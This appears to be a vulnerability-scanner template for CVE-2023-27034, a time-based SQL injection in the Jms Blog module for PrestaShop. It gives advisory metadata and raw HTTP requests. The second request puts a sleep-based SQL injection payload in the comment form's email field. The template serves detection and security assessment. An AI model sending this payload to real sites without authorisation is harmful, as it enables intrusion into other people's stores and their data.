Jms Blog - SQL Injection

id: CVE-2023-27034

info:
  name: Jms Blog - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    The module Jms Blog (jmsblog) from Joommasters contains a Time Based SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joommasters PrestaShop themes
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and its underlying infrastructure.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27034
    - https://security.friendsofpresta.org/modules/2023/03/13/jmsblog.html
    - https://github.com/advisories/GHSA-7jr7-v6gv-m656
    - https://friends-of-presta.github.io/security-advisories/modules/2023/03/13/jmsblog.html
    - https://github.com/codeb0ss/CVE-2023-27034-Exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27034
    cwe-id: CWE-89
    epss-score: 0.58743
    epss-percentile: 0.99113
    cpe: cpe:2.3:a:joommasters:jms_blog:2.5.5:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 2
    vendor: joommasters
    product: jms_blog
    framework: prestashop
  tags: time-based-sqli,cve2023,cve,prestashop,prestashop-module,sqli,intrusive,joommasters,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "jmsblog")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
        X-Requested-With: XMLHttpRequest

        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="comment"

        555
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="customer_name"


        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="email"

        0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="post_id"

        1
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="post_id_comment_reply"

        1
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="submitComment"

        submitComment=
        ------------YWJkMTQzNDcw--

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'